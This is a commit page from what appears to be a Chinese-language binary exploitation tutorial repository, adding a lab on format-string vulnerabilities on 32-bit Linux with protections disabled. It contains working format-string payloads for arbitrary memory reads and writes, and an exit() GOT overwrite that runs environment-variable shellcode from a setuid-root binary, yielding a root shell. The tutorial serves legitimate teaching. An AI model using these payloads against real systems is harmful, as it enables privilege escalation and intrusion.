Skip to content

Commit 88bb2cb

Browse files
author
Sn0rt
committed
new: update new post
1 parent 2764f91 commit 88bb2cb

17 files changed

+3358
-70
lines changed

chapter1/README.md

Lines changed: 2 additions & 70 deletions
Original file line numberDiff line numberDiff line change
@@ -1,73 +1,5 @@
1-
在这个 level 我将要花点时间给大家介绍基本的漏洞类型和安全机制,然后关闭全部的安全保护机制,学习如何在 Linux 下面编写最基本的 exp.
1+
# 基础知识
22

3-
# 安全机制
3+
[MSc Computer Science Dissertation Automatic Generation of Control Flow Hijacking Exploits for Software Vulnerabilities](./Automatic\ Generation\ of\ Control\ Flow\ Hijacking\ Exploits\ for\ Software\ Vulnerabilities.pdf)
44

5-
分为两大类:编译相关(elf 加固),部分编译选项控制着生成更安全的代码(损失部分性能或者空间),还有就说运行时的安全,都是为增加了漏洞利用的难度,不能从本质上去除软件的漏洞.
65

7-
## STACK CANARY
8-
9-
Canary 是放置在缓冲区和控制数据之间的一个 words 被用来检测缓冲区溢出,如果发生缓冲区溢出那么第一个被修改的数据通常是 canary,当其验证失败通常说明发生了栈溢出,更多信息参考这里 [^1].
10-
11-
```shell
12-
gcc -fstack-protector
13-
```
14-
15-
## NX
16-
17-
在早期,指令是数据,数据也是数据,当 PC 指向哪里,那里的数据就会被当成指令被 cpu 执行,后来 NX 标志位被引入来区分指令和数据.更 多信息参考这里[@Intel] [^2] [^3].
18-
19-
```shell
20-
gcc -z execstack
21-
```
22-
23-
## PIE
24-
25-
-fPIC: 类似于-fpic 不过克服了部分平台对偏移表尺寸的限制.生成可用于共享库的位置独立代码。所有的内部寻址均通过全局偏移表(GOT)完成.要确定一个地址,需要将代码自身的内存位置作为表中一项插入.该选项需要操作系统支持,因此并不是在所有系统上均有效.该选项产生可以在共享库中存放并从中加载的目标模块.
26-
参考链接 [^4].
27-
28-
-fPIE:
29-
这选项类似于-fpic 与-fPIC,但生成的位置无关代码只可以链接为可执行文件,它通常的链接选项是-pie.
30-
31-
```shell
32-
gcc -pie -fPIE
33-
```
34-
35-
### RELRO
36-
37-
Hardens ELF programs against loader memory area overwrites by having the loader mark any areas of the relocation table as read-only for any symbols resolved at load-time (“read-only relocations”). This reduces the area of possible GOT-overwrite-style memory corruption attacks [^5].
38-
39-
#### ASLR
40-
41-
[^6]
42-
43-
# 漏洞类型
44-
45-
## 栈溢出
46-
47-
## 整数溢出
48-
49-
## off-by-one(stack base)
50-
51-
## 格式化字符串
52-
53-
%h(短写) %n\$d(直接参数访问) %n(任意内存写) %s(任意内存读)
54-
55-
# Exp 开发
56-
57-
## rop
58-
59-
nop seld + shellcode + ret
60-
61-
## 覆写 GOT
62-
63-
[^1]: <https://en.wikipedia.org/wiki/Buffer_overflow_protection#Canaries>
64-
65-
[^2]: &lt;&lt;Intel® 64 and IA-32 Architectures Software Developer’s Manual&gt;&gt; volumes 3 section 4.6
66-
67-
[^3]: <https://en.wikipedia.org/wiki/NX_bit>
68-
69-
[^4]: <https://en.wikipedia.org/wiki/Position-independent_code#PIE>
70-
71-
[^5]: <http://blog.isis.poly.edu/exploitation%20mitigation%20techniques/exploitation%20techniques/2011/06/02/relro-relocation-read-only/>
72-
73-
[^6]: <https://en.wikipedia.org/wiki/Address_space_layout_randomization>

chapter2/README.md

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
# 栈的安全

chapter2/format-strings.md

Lines changed: 262 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,262 @@
1+
# 0x00 beginning
2+
3+
记录学习格式化字符串安全问题, 依然不启用安全机制 (NX, ALSR, CANARY), 主要实验部分参考 [^book1], 更多理论 [^stanford].
4+
5+
示例内存布局` printf("A is %d and is at %08x. B is %x.\n", A, &A, B) `:
6+
7+
top of stack bottom of stack
8+
|--address of format string--|--value of A--|--address of A--|--value of B--|
9+
10+
11+
存在格式化字符串问题的示例代码如下:
12+
13+
```c
14+
/*
15+
* gcc -fno-stack-protector -m32 -z execstack -o
16+
*/
17+
#include <stdio.h>
18+
#include <stdlib.h>
19+
#include <string.h>
20+
21+
int main(int argc, char *argv[]) {
22+
char text[1024];
23+
static int test_val = -72;
24+
25+
if(argc < 2) {
26+
printf("Usage: %s <text to print>\n", argv[0]);
27+
exit(0);
28+
}
29+
strcpy(text, argv[1]);
30+
31+
printf("The right way to print user-controlled input:\n");
32+
printf("%s", text);
33+
34+
printf("\nThe wrong way to print user-controlled input:\n");
35+
printf(text);
36+
37+
printf("\n");
38+
39+
// Debug output
40+
printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
41+
42+
exit(0);
43+
}
44+
45+
```
46+
47+
看见里面几个 % 格式化参数, 我们主要关注的格式化参数如下 (其余的不是特别关注):
48+
49+
%h 把 int 转换为 signed char 或 unsiged char, 如果后面接 n 转换一个指针到 char.
50+
%s 从内存中读取字符串
51+
%x 输出十六进制数
52+
%n 写入这个地方的偏移量
53+
54+
# 0x10 starting
55+
56+
初步探索, 发现在 testing 后面接上一格式化字符串发现输出很奇怪的东西, 其实这个就是内存读取了, 结合着内存空间分别你可以知道读哪里.
57+
58+
```shell
59+
Sn0rt@warzone:~/lab$ ./fmt testing
60+
The right way to print user-controlled input:
61+
testing
62+
The wrong way to print user-controlled input:
63+
testing
64+
[*] test_val @ 0x0804a030 = -72 0xffffffb8
65+
Sn0rt@warzone:~/lab$ ./fmt testing%x
66+
The right way to print user-controlled input:
67+
testing%x
68+
The wrong way to print user-controlled input:
69+
testingbffff270
70+
[*] test_val @ 0x0804a030 = -72 0xffffffb8
71+
Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print "0%x8." * 10')
72+
The right way to print user-controlled input:
73+
0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.0%x8.
74+
The wrong way to print user-controlled input:
75+
0bffff2508.04c8.048.0387825308.07825302e8.025302e388.0302e38788.02e3878258.0387825308.07825302e8.
76+
[*] test_val @ 0x0804a030 = -72 0xffffffb8
77+
```
78+
79+
## 0x11 arbitrary memory Read
80+
81+
这个示例, 需要辅助程序来帮助读环境变量的内存地址, 辅助程序源码如下:
82+
83+
```c
84+
#include <stdio.h>
85+
#include <stdlib.h>
86+
#include <string.h>
87+
88+
int main(int argc, char *argv[]) {
89+
char *ptr;
90+
91+
if(argc < 3) {
92+
printf("Usage: %s <environment variable> <target program name>\n", argv[0]);
93+
exit(0);
94+
}
95+
ptr = getenv(argv[1]); /* get env var location */
96+
ptr += (strlen(argv[0]) - strlen(argv[2]))*2; /* adjust for program name */
97+
printf("%s will be at %p\n", argv[1], ptr);
98+
}
99+
```
100+
101+
利用`%s`可以从内存读取字符串, 以读取 PATH 为例子, 首先获取 PATH 的内存地址.
102+
103+
```shell
104+
Sn0rt@warzone:~/lab$ ./getaddr PATH fmt
105+
PATH will be at 0xbffffe26
106+
```
107+
108+
然后构造格式化字符串 (注意 intel 小端序), 到 %s 落到`\x26\xfe\xff\xbf`上直到遇见 NULL 之前的数据按照字符串打印出来.
109+
110+
```shell
111+
Sn0rt@warzone:~/lab$ ./fmt $(printf "\x26\xfe\xff\xbf")%08x.%08x.%08x.%s
112+
The right way to print user-controlled input:
113+
&���%08x.%08x.%08x.%s
114+
The wrong way to print user-controlled input:
115+
&���bffff270.0000004c.00000004./local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games
116+
[*] test_val @ 0x0804a030 = -72 0xffffffb8
117+
118+
```
119+
120+
读 $PATH 成功!
121+
122+
## 0x12 arbitrary memory write-%x
123+
124+
可以利用`%n`写其对应数据的位置到内存, 不过这个写方法还是蛮麻烦的, 参考<<灰帽黑客: 正义...>>[^book2]11.1.3 写入任意内存提供了一个魔幻公式.
125+
我们以写入 0xddccbbaa 到 test_val 为例
126+
127+
```shell
128+
Sn0rt@warzone:~/lab$ ./fmt $(printf "\x30\xa0\x04\x08")%x%x%156x%n
129+
The right way to print user-controlled input:
130+
0�%x%x%156x%n
131+
The wrong way to print user-controlled input:
132+
0�bffff2704c 4
133+
[*] test_val @ 0x0804a030 = 170 0x000000aa
134+
135+
Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08TEST\x31\xa0\x04\x08TEST\x32\xa0\x04\x08TEST\x33\xa0\x04\x08" + "%x%x%132x%n%17x%n%17x%n%17x%n")')
136+
The right way to print user-controlled input:
137+
0�TEST1�TEST2�TEST3�%x%x%132x%n%17x%n%17x%n%17x%n
138+
The wrong way to print user-controlled input:
139+
0�TEST1�TEST2�TEST3�bffff2404c 4 54534554 54534554 54534554
140+
[*] test_val @ 0x0804a030 = -573785174 0xddccbbaa
141+
142+
```
143+
144+
## 0x13 arbitrary memory write-direct parameter access
145+
146+
`%Number$n`直接参数访问构造出来的 payload 相对与上面用一堆 %n 构造出来简洁一些, 依然写入`0xddccbbaa`.
147+
148+
```shell
149+
Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08" + "\x31\xa0\x04\x08" + "\x32\xa0\x04\x08" + "\x33\xa0\x04\x08" + "%154x%4$n")')
150+
The right way to print user-controlled input:
151+
0�1�2�3�%154x%4$n
152+
The wrong way to print user-controlled input:
153+
0�1�2�3� bffff260
154+
[*] test_val @ 0x0804a030 = 170 0x000000AA
155+
156+
Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08" + "\x31\xa0\x04\x08" + "\x32\xa0\x04\x08" + "\x33\xa0\x04\x08" + "%154x%4$n" + "%17x%5$n" + "%17x%6$n" + "%17x%7$n")')
157+
The right way to print user-controlled input:
158+
0�1�2�3�%154x%4$n%17x%5$n%17x%6$n%17x%7$n
159+
The wrong way to print user-controlled input:
160+
0�1�2�3� bffff250 4c 4 804a030
161+
[*] test_val @ 0x0804a030 = -573785174 0xddccbbaa
162+
```
163+
164+
## 0x14 arbitrary memory write-%h
165+
166+
利用`%h`可以把 payload 构造更加简洁, 而且一次写入两个字节, 这个具体计算方法就是那个魔法公式.
167+
引用 printf 手册:
168+
169+
> h A following integer conversion corresponds to a short int or unsigned short int argument, or a following n conversion corresponds
170+
to a pointer to a short int argument.
171+
172+
如法炮制, 写入`0xddccbbaa`到 test_val.
173+
174+
```shell
175+
Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x30\xa0\x04\x08" + "\x32\xa0\x04\x08" + "%43699x%4$hn" + "%13073x%5$h")')
176+
....
177+
[*] test_val @ 0x0804a030 = -857888069 0xddccaabb
178+
```
179+
180+
# 0x20 using
181+
182+
既然我们能写内存, 那么就能写入到一些关键的地方, 来控制程序的流向.
183+
184+
## 0x21 .dtors
185+
186+
思路 1,.dtors 类似于 C++ 里面构造函数, 函数声明成这个样子`static void func(void) __attribute__ ((destructor))`就类似与 C++ 里面析构函数, 我们打算把 shellcode 放到环境变量里面, 然后利用格式化字符串覆写_DTOR_END_, 按照设计程序会在退出时候调用`exit()`且在 exit() 返回前, 会去调用_DTOR_END_地址的函数, 用 shellcode 在内存里面的地址覆盖掉_DTOR_END_就能 exit() 返回前执行 shellcode.
187+
不过这个新版本的 gcc 生成链接代码的时候生成的 ELF 里面已经没有_DTOR_LIST_与_DTOR_LIST_字段了, 不过现在有了新的目标
188+
189+
```shell
190+
objdump -h -j .fini_array fmt
191+
```
192+
193+
## 0x22 overwrite GOT
194+
195+
思路 2: 类似覆盖.dtors, 利用格式化字符串漏洞把 exit()@plt 覆写为 shellode 的环境变量里面的地址, 程序在原来调用 exit() 地方就会转跳到 shellcode 上执行.
196+
197+
做法, 首先需要把 shellcode 放置到环境变量里面, 后获取其地址,shellcode[下载](../media/attach/shellcode.bin). 这个 shellcode 是 setuid(0) 然后 execve(), 所有要对有 suid 位的程序使用, 如果非 suid 则 setuid(0) 调用失败.
198+
199+
```shell
200+
Sn0rt@warzone:~/lab$ sudo chown root:root fmt
201+
Sn0rt@warzone:~/lab$ sudo chmod u+s fmt
202+
Sn0rt@warzone:~/lab$ export SHELLCODE=$(cat shellcode.bin)
203+
Sn0rt@warzone:~/lab$ ./getaddr SHELLCODE ./fmt
204+
SHELLCODE will be at 0xbffff84a
205+
```
206+
207+
打算把 exit() 地址覆写为 shellcode 地址, 这个地方利用魔法公式计算一下
208+
209+
```shell
210+
Sn0rt@warzone:~/lab$ objdump -R fmt
211+
212+
fmt: file format elf32-i386
213+
214+
DYNAMIC RELOCATION RECORDS
215+
OFFSET TYPE VALUE
216+
...
217+
0804a01c R_386_JUMP_SLOT exit
218+
0804a020 R_386_JUMP_SLOT __libc_start_main
219+
0804a024 R_386_JUMP_SLOT putchar
220+
221+
Sn0rt@warzone:~/lab$ python
222+
...
223+
>>> 0xbfff - 8
224+
49143
225+
>>> 0xf84a - 0xbfff
226+
14411
227+
228+
Sn0rt@warzone:~/lab$ ./fmt $(python -c 'print ("\x1e\xa0\x04\x08" + "\x1c\xa0\x04\x08" + "%49143x%4$hn" + "%14411x%5$hn")')
229+
...
230+
[*] test_val @ 0x0804a030 = -72 0xffffffb8
231+
sh-4.3# exit
232+
```
233+
234+
# 0x03 limit
235+
236+
虽然这样覆盖`exit()`成功了, 但是如果开启了 NX 这样的方法就不行了, 一个原因就是 $SHELLCODE 放在环境变量里面, 环境变量 stack 上 (具体还是有点区分的),NX 是不允许里面 [stack] 有 x 的.
237+
238+
```shell
239+
Sn0rt@warzone:~/lab$ gdb fmt
240+
Reading symbols from fmt...(no debugging symbols found)...done.
241+
gdb-peda$ b main
242+
Breakpoint 1 at 0x80484e0
243+
...
244+
gdb-peda$ r
245+
...
246+
gdb-peda$ searchmem "SHELLCODE"
247+
Searching for 'SHELLCODE' in: None ranges
248+
Found 1 results, display max 1 items:
249+
[stack] : 0xbffff88d ("SHELLCODE=1\300\061\333\061ə\260\244̀j\vXQh//shh/bin\211\343Q\211\342S\211\341̀")
250+
...
251+
gdb-peda$ vmmap
252+
Start End Perm Name
253+
0x08048000 0x08049000 r-xp /home/Sn0rt/lab/fmt
254+
...
255+
0xbffdf000 0xc0000000 rwxp [stack]
256+
```
257+
258+
### reference
259+
260+
[^book1]: <<Hacking: the art of exploitation>>
261+
[^book2]: <<灰帽黑客: 正义黑客的道德规范, 渗透测试, 攻击方法和漏洞分析技术>>
262+
[^stanford]: [Exploiting Format String Vulnerabilities](https://crypto.stanford.edu/cs155/papers/formatstring-1.2.pdf)

0 commit comments

Comments
 (0)